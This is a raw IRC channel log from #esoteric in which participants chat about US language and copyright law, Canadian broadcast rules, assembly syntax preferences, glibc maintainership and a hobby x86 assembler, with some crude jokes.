< 1331856202 127614 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :doop woop < 1331856367 171408 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com JOIN :#esoteric < 1331856674 40289 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 QUIT :Remote host closed the connection < 1331856692 266091 :augur!~augur@74.61.251.49 QUIT :Remote host closed the connection < 1331856748 236402 :derdon!~derdon@p5DE8AE1E.dip.t-dialin.net QUIT :Ping timeout: 252 seconds < 1331857211 415041 :derdon!~derdon@pD9E1D25E.dip.t-dialin.net JOIN :#esoteric < 1331858843 631902 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Good night < 1331858946 898781 :augur!~augur@74.61.251.49 JOIN :#esoteric < 1331859501 864711 :augur!~augur@74.61.251.49 QUIT :Remote host closed the connection < 1331860595 974191 :derdon!~derdon@pD9E1D25E.dip.t-dialin.net QUIT :Remote host closed the connection < 1331860884 954999 :Jafet!~Jafet@unaffiliated/jafet JOIN :#esoteric < 1331861191 579921 :augur!~augur@74.61.251.49 JOIN :#esoteric < 1331861500 113543 :augur!~augur@74.61.251.49 QUIT :Remote host closed the connection < 1331861736 533599 :Jafet!~Jafet@unaffiliated/jafet QUIT :Quit: Leaving. < 1331862532 132995 :pikhq_!~pikhq@71-219-218-115.clsp.qwest.net QUIT :Ping timeout: 245 seconds < 1331862533 753456 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net JOIN :#esoteric < 1331862690 143879 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :d < 1331863469 657692 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: HELP I BECAME A PERSON. < 1331863606 459703 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :"Republican presidential hopeful Rick Santorum told Puerto Ricans on Wednesday they would have to make English their primary language if they want to pursue U.S. statehood, a statement at odds with the U.S. Constitution." < 1331863618 695196 :coppro!~scshunt@denardo.csclub.uwaterloo.ca PRIVMSG #esoteric :hahahaha < 1331863625 920188 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :Keep it classy, man-synonymous-with-gay-sex-waste. < 1331863854 691105 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :Friendly reminder: the US not only has no official language, but there are 7 distinct official languages within the US's states and territories. < 1331863958 903082 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :(English, French, Spanish, Samoan, Chamorro, Carolinian) < 1331863975 140656 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :(... and Hawaiian) < 1331864173 411739 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :But isn't federal government stuff in United States always English, even if the individual states do not have to be English? < 1331864190 931477 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Since if it isn't, how can they do something at all? < 1331864198 148374 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :zzo38: Not by law. < 1331864256 710658 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :There is literally no requirement at all for the federal government to do *anything* in English. Though the regulations of many departments include a *list* of languages that they publish in. < 1331864295 297082 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :For instance, the census is published in English, Spanish, Korean, Mandarin (with traditional characters), Vietnamese, and Tagalog. < 1331864343 427401 :calamari!~calamari@ip72-211-147-156.tc.ph.cox.net PRIVMSG #esoteric :I live in arizona, the racist state.. they passed a law mandating english only for all state functions..of course that can't include voting for any federal offices < 1331864371 331421 :calamari!~calamari@ip72-211-147-156.tc.ph.cox.net PRIVMSG #esoteric :actually it was a ballot proposition < 1331864431 701474 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :But isn't there something like, the word "copyright" has to be written in English, or something like that? < 1331864473 240600 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :Uh, probably not. < 1331864501 576919 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :US law is such that it entirely suffices to refer to things in a clear way. < 1331864532 239411 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :(and you can get away with unclear references, it'll just be a bit of a pain for the court to deal with) < 1331864557 859824 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :You could, if you so chose, write contracts with people in 100% Latin. < 1331864610 432676 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Is it allowed to do taxes in roman numerals? < 1331864634 662090 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric : Keep it classy, man-synonymous-with-gay-sex-waste. < 1331864643 225224 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I thought there was some kind of international law that requires the word "copyright" to always be written in English (except Quebec). < 1331864645 959388 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Santorum's name would be a lot funnier if the synonym wasn't explicitly started to mock him. < 1331864667 185270 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I guess "man-who-was-terrible-enough-that-his-name-became-synonymous-with-gay-sex-waste" is almost as bad, if wordier. < 1331864685 199276 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(Actually worse, since it implies actual wrongdoing rather than an unfortunate family name.) < 1331864713 432392 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :zzo38: There's also no reason to say "copyright" on a copyrighted work. < 1331864715 72551 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :zzo38: You don't have to write the word "copyright" at all, if you're referring to copyright notices. < 1331864717 734632 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :pikhq: Snap. < 1331864726 664157 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Copyright is automatic; you have to opt out if you don't want it. < 1331864750 655958 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I don't think copyright notices have /any/ legal effect nowadays. < 1331864788 537751 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :elliott: They have *some* legal effect. They document the source of the copyright claim. < 1331864812 618025 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :Also they're required if you still want to register the copyright. < 1331864814 660866 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :But, yeah, they are little more than metadata anymore. < 1331864845 439880 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :Okay, true. But copyright registration itself does little more than make it easier to demonstrate the validity of your claim. < 1331864848 469094 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :RocketJSquirrel: I forget, is there any benefit at all to that? < 1331864849 289168 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Right. < 1331864881 50158 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :elliott: It also means your work will (hopefully) be archived by copyright office. < 1331864890 18408 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :elliott: In the USA, you can't seek statutory damages for an unregistered copyright, you can just request they stop violating it. < 1331864896 915330 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :pikhq: Can I submit my 34573489537945 petabyte novel? < 1331864909 981221 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :RocketJSquirrel: Hmmmmmmmmmmmmmm I am extremely sceptical. < 1331864918 13668 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :That soudns like the kind of thing which used to be true and now isn't. < 1331864918 592521 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :RocketJSquirrel: You could probably still seek civil damages, though. < 1331864920 618982 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :*sounds < 1331864932 457241 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :elliott: Does the novel include not only text but also uncompressed 3D video? < 1331864939 476050 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :zzo38: HOW DID YOU GUESS?! < 1331864963 125522 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :Oh. You need to register before filing suit at all. < 1331864973 406180 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :elliott: Because, why else would it be 34573489537945 petabytes long? < 1331864974 473854 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :But you can register at any time. < 1331864983 898625 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :That is, you can register because you intend to sue. < 1331864985 798249 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :zzo38: It's true, yes. < 1331865059 589182 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :elliott: http://www.law.cornell.edu/uscode/text/17/412 < 1331865100 2637 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :But yes, you can still seek other damages, statutory damages are just a blanket per-work thing. < 1331865101 172100 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :RocketJSquirrel: I started believin' ya once pikhq said what he said. < 1331865107 560111 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Makes it kinda pointless :P < 1331865132 352431 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :Yeah, US copyright law is weird. < 1331865141 464906 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :Though all copyright law is. < 1331865188 858095 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :pikhq: That might be why there are many different licenses, including licenses that tell it to expire the copyright early < 1331865192 266101 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :Copyright law is so simple in China. < 1331865198 218687 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :It goes like this: "lol, who's gonna stop me?" < 1331865224 13750 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :@ask ais523 is http://esolangs.org/wiki/Wiki_Cyclic_Tag#MediaWiki_Interpreter meant to look like that? < 1331865224 254828 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :Consider it noted. < 1331865228 822184 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :Technically, they do have copyright law. < 1331865245 351283 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :It's just purely unenforced for anything not Chinese. < 1331865264 678866 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :@tell ais523 Also, "The above with comments removed for clarity:" I don't think you understand the purpose of comments. < 1331865264 938401 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :Consider it noted. < 1331865414 413880 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :In Canada, there is a law that you are not allowed to play only a part of a Canadian song on the radio; you have to play the whole thing. So I want to make each bar is just called an optional extension to the previous one with a different copyright assignment for each one, then would the radio be allowed to play only part of it? < 1331865420 932712 :MDude!~fyrc@67.232.230.235 PRIVMSG #esoteric : < 1331865434 442495 :MDude!~fyrc@67.232.230.235 NICK :MSleep < 1331865558 979858 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :zzo38: Is that law for real? < 1331865591 72345 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :Knowing laws on Canadian media in Canada, it probably *is*. < 1331865616 162245 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :elliott: Yes that is the law of the CRTC. < 1331865634 476533 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :I do know that, for instance, there's laws mandating that a certain percentage of everything on the air must be Canadian. < 1331865651 926075 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :(this is why there *exists* Canadian TV shows) < 1331865686 261401 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :Hey, Corner Gas is great! :( < 1331865734 325113 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :I'm not saying they're bad, I'm just saying they wouldn't exist without those laws. < 1331865767 56040 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :If not for them, well, Canadian TV stations would just be US syndicates. < 1331865770 394131 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :pikhq: Yes, that is true. But many Canadian radio and television are good, anyways. I think it is good thing that the CBC is required to do that; but I think it is a stupid law in other cases < 1331865791 823916 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :http://esolangs.org/w/index.php?title=Talk:Main_Page&diff=prev&oldid=6815 OMG HACKED < 1331865826 867627 :calamari!~calamari@ip72-211-147-156.tc.ph.cox.net PRIVMSG #esoteric :lol < 1331865836 884684 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :pikhq: I've heard some horror stories wrt very mediocre Canadian bands getting played incessantly on the radio because of those laws. < 1331865847 91154 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :How Canadian does a TV show have to be to be considered Canadian? < 1331865860 692655 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :If it's edited in Canada but filmed in Hollywood, is that good enough? < 1331865867 900335 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :In my opinion those laws should only apply to the CBC and not to everyone. < 1331865876 327906 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :elliott: Made worse by the knowledge that there's some really good Canadian bands. < 1331865885 778398 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :RocketJSquirrel: I dunno. < 1331865904 526233 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :RocketJSquirrel: But I will tell you that many shows get filmed in Canada just because it's cheaper. < 1331865918 125089 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :Yeah, Vancouver is popular nowadays. < 1331866002 59186 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :CANADA: Cheap USA < 1331866019 28317 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net PRIVMSG #esoteric :(fuck Nickleback) < 1331866277 724568 :MoALTz_!~no@host-92-8-159-16.as43234.net JOIN :#esoteric < 1331866450 677323 :MoALTz!~no@host-92-8-159-16.as43234.net QUIT :Ping timeout: 252 seconds < 1331866539 637944 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :*Nickelback PROPER RENDERING OF THE NAME IS MANDATORY < 1331866977 855012 :monqy!~swell@pool-71-102-226-192.snloca.dsl-w.verizon.net PRIVMSG #esoteric :nickelbakc < 1331867150 298941 :elliott!~elliott@unaffiliated/elliott QUIT :Quit: Leaving < 1331867713 593537 :augur!~augur@129.2.129.35 JOIN :#esoteric < 1331869982 300353 :augur!~augur@129.2.129.35 QUIT :Remote host closed the connection < 1331870282 594698 :elliott!~elliott@unaffiliated/elliott JOIN :#esoteric < 1331870320 448814 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :Hahaha championofbirds is loading really slowly. I've sent such a torrent of traffic, the site just can't keep up! < 1331870591 538872 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :RocketJSquirrel: Loads quickly here. < 1331871211 982939 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :Yeah, it was only slow for a minute apparently. < 1331871424 88214 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :RocketJSquirrel: How often are you checking, exactly? < 1331871481 888705 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :I checked seconds before I wrote that, then minutes later to see if it was still slow. < 1331871489 965329 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :Then, after you wrote your line. < 1331871539 132203 :pikhq_!~pikhq@71-219-202-98.clsp.qwest.net JOIN :#esoteric < 1331871543 219013 :pikhq!~pikhq@71-219-211-216.clsp.qwest.net QUIT :Ping timeout: 250 seconds < 1331872098 792083 :augur!~augur@208.58.5.87 JOIN :#esoteric < 1331872124 897932 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net JOIN :#esoteric < 1331872139 436756 :pikhq_!~pikhq@71-219-202-98.clsp.qwest.net QUIT :Ping timeout: 264 seconds < 1331874360 351540 :asiekierka!~asiekierk@078088180231.elblag.vectranet.pl JOIN :#esoteric < 1331874592 918405 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :For those who may have heard me talking about www.baldursgate.com but haven't heard about it since (I don't know if that's anybody :P)... < 1331874614 205362 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :Yes, it was official. Baldur's Gate: Enhanced Edition, coming this summer. < 1331874626 449834 :shachaf!~shachaf@li227-219.members.linode.com PRIVMSG #esoteric :Isn't Baldur's Gate a boring game? < 1331874758 139313 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :pikhq: Hey, I was going to check that two hours after fizzie mentioned it. < 1331874760 459285 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :But NO, I forgot. < 1331874867 80669 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :https://twitter.com/#!/TrentOster Here, have fun. < 1331874936 148971 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :(Trent Oster is cofounder of Beamdog, the company doing BG:EE, and before that was a cofounder of Bioware.) < 1331875438 563574 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Where's the fun < 1331877098 421293 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :So. Apparently Ulrich is no longer the glibc maintainer. < 1331877381 341535 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :wat < 1331877474 359379 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :pikhq: src? < 1331877484 16003 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :The commit log shows him basically no longer making substantial commits, and he appears to have been pulled from the bugzilla... http://sourceware.org/bugzilla/describecomponents.cgi?product=glibc These used to all be assigned to Ulrich. < 1331877497 179699 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :elliott: Nothing official, but seriously, it's like he just fell off the project. < 1331877605 718766 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :Also, bugs along the lines of "this hyperoptimised assembly version of function X is incorrect" get fixed instead of a "no it's not" response now. < 1331877760 863396 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Maybe he was fired. < 1331877818 311620 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :His last substantial commit was Jan. 31. < 1331877823 149831 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(I mean, from Red Hat.) < 1331877890 264561 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :elliott: He left Red hat in 2010. < 1331877912 119106 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Oh. < 1331877924 842134 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :He is now VP, Technology Division at Goldman Sachs. < 1331878117 585654 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :And the mailing list is now flooded with breakage fix. < 1331878555 153944 :shachaf!~shachaf@li227-219.members.linode.com PRIVMSG #esoteric :Does anyone even use glibc? < 1331878560 858841 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :*Ahah*. The guy with most of the recent commits, Joseph Myers, is/was the eglibc maintainer. < 1331878639 223738 :shachaf!~shachaf@li227-219.members.linode.com PRIVMSG #esoteric :egglibc < 1331879282 137977 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :rip eglibc < 1331879307 220983 :shachaf!~shachaf@li227-219.members.linode.com PRIVMSG #esoteric :mov %rip, eglibc < 1331879610 235601 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's no encoding for that! < 1331879709 350624 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :lea 0(%rip), %rax; mov %rax, eglibc. < 1331879768 28178 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :AT&T syntax sucks. < 1331879840 464859 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: By the way, I actually think zem.fi looks pretty nice, apart from the 5,000 things wrong with it which are because you are of Finnish intelligence. (Didn't want you to get the wrong impression.) < 1331879850 994416 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :We need some kind of stamp. "OKAY - FOR A FINN". < 1331879885 513665 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :Yeah, AT&T syntax is *nasty*. < 1331879910 176542 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :disp(base, index, scale)? *eeew* < 1331879935 706830 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :elliott: And to think that I wrote all the HTNL by speaking to a speech recognition system. (Not really.) < 1331879956 983015 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :[base + index*scale + disp] < 1331879962 906451 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Which syntax do you prefer then? < 1331879972 191895 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: You made a mistake: "HTNL". It should be: "HTML". < 1331879975 75470 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :zzo38: Intel syntax. < 1331879980 148831 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Try enunciating more precisely so your speech recognition software does not get confused. < 1331879985 113460 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(It is of Finnish intelligence.) < 1331880001 558883 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :(that would be the one used in the DOS and Windows assemblers) < 1331880005 301403 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I prefer the syntax similar to the DOS DEBUG program < 1331880038 869867 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :But with some differences < 1331880057 685580 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :That is Intel syntax. < 1331880064 849591 :calamari!~calamari@ip72-211-147-156.tc.ph.cox.net PRIVMSG #esoteric :right that's intel syntax < 1331880074 587389 :MoALTz_!~no@host-92-8-159-16.as43234.net QUIT :Ping timeout: 260 seconds < 1331880123 370865 :MoALTz!~no@host-92-8-226-99.as43234.net JOIN :#esoteric < 1331880313 527998 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :How about when you want just [disp + scale*index] and have to write disp(,index,scale)? Or when you want to call [eax] but it's written call *%eax instead? Or [a couple more examples I collected but have now forgotten]? < 1331880361 977347 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :Gaaah. < 1331880394 821535 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :And the argument swap always screws me up. < 1331880502 458469 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: Remember when Vorpal was all "oh no AT&T syntax is much easier" and you said [disp + scale*index] (or something of the sort) and he was all "WTF DOES THAT MEAN???" and then you were like "It's disp(,index,scale)" and he was all "WELL NOW IT'S OBVIOUS"? < 1331880510 741219 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :What I'm saying is that AT&T syntax is dumb. < 1331880512 454570 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I have written a x86 assembler once. < 1331880668 960674 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :http://sprunge.us/iQNG < 1331880705 358966 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :This program is public domain < 1331880822 680715 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :It has its own syntax and only creates raw binaries, it doesn't make EXE headers or anything else like that. < 1331880844 481116 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :But you can specify the offset at which it loads into memory. < 1331880868 920738 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :Hmm. So, it could just barely make Linux a.out binaries. < 1331880883 988494 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :And some instructions are missing, although most of them are there. You can fix it if you want to. < 1331880906 672398 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :(All real mode instructions are present, however. Some protected mode instructions are missing.) < 1331880924 77961 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :And of course it should do just fine for COM. < 1331880938 875244 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Yes, it works fine for COM. < 1331880953 437957 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :a.out can be raw? < 1331880957 111981 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :It also has macros, so it might be possible to use macros for encoding some kind of header formats. < 1331880988 137926 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :elliott: You could hack it. a.out is *nearly* raw. < 1331881062 145303 :monqy!~swell@pool-71-102-226-192.snloca.dsl-w.verizon.net QUIT :Quit: hello < 1331881102 108093 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :Basically, you've got an 8 word header and then your stuff. < 1331881121 548945 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :(more if your code is going to be dynamic linked, but... Really? Why bother.) < 1331882328 678389 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :But if you want to write protected mode programs you probably need to fix it to work with all of the protected instructions. < 1331882338 895350 :aloril!~aloril@dsl-tkubrasgw3-fe7ef900-153.dhcp.inet.fi QUIT :Ping timeout: 245 seconds < 1331882364 29835 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can hack together a dynamically linked ELF executable in a binary-producing assembler too, it's not like it'd be anything else than bytes. < 1331882372 182241 :cswords_!~cswords@c-98-223-234-80.hsd1.in.comcast.net QUIT :Read error: Connection reset by peer < 1331882729 91656 :calamari!~calamari@ip72-211-147-156.tc.ph.cox.net QUIT :Quit: Leaving < 1331882853 243448 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :True. It's not even *that* hard. < 1331882861 396267 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :ELF data structures aren't terribly complex. < 1331882873 156751 :Sgeo!~sgeo@ool-ad034d00.dyn.optonline.net PRIVMSG #esoteric :Hmm. < 1331882885 50783 :Sgeo!~sgeo@ool-ad034d00.dyn.optonline.net PRIVMSG #esoteric :When was the last time I talked about personal stuff in here? < 1331882889 407809 :Sgeo!~sgeo@ool-ad034d00.dyn.optonline.net PRIVMSG #esoteric :It's been a while, right? < 1331882894 144403 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :Think so. < 1331882896 381226 :Sgeo!~sgeo@ool-ad034d00.dyn.optonline.net PRIVMSG #esoteric :(No, I'm not about to give you updates) < 1331882954 309525 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Is talking about talking about your personal stuff the new talking about your personal stuff? < 1331883168 776230 :aloril!~aloril@dsl-tkubrasgw3-fe7ef900-153.dhcp.inet.fi JOIN :#esoteric < 1331883595 492170 :elliott!~elliott@unaffiliated/elliott QUIT :Read error: Operation timed out < 1331884503 664693 :mtve!~mtve@65.98.99.53 JOIN :#esoteric < 1331886479 107402 :Sgeo!~sgeo@ool-ad034d00.dyn.optonline.net PRIVMSG #esoteric :tswett, update < 1331889370 731689 :augur!~augur@208.58.5.87 PRIVMSG #esoteric :http://img.lulz.net/src/PEnsd.gif < 1331890404 650986 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1331890408 81821 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1331891815 433233 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION wonders if today's xkcd has a hidden meaning or if the incomprehensibility is the _entire_ point. < 1331891966 345560 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :both! < 1331891966 636410 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :ais523: You have 2 new messages. '/msg lambdabot @messages' to read them. < 1331891970 661681 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :@messages < 1331891970 904158 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :elliott asked 7h 25m 42s ago: is http://esolangs.org/wiki/Wiki_Cyclic_Tag#MediaWiki_Interpreter meant to look like that? < 1331891971 91819 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :elliott said 7h 25m 1s ago: Also, "The above with comments removed for clarity:" I don't think you understand the purpose of comments. < 1331892085 178142 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :@tell elliott yes, it is meant to look at that, and the implementation of the interpreter puts junk comments in its output, so removing them does indeed make it clearer < 1331892085 443678 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :Consider it noted. < 1331892092 802580 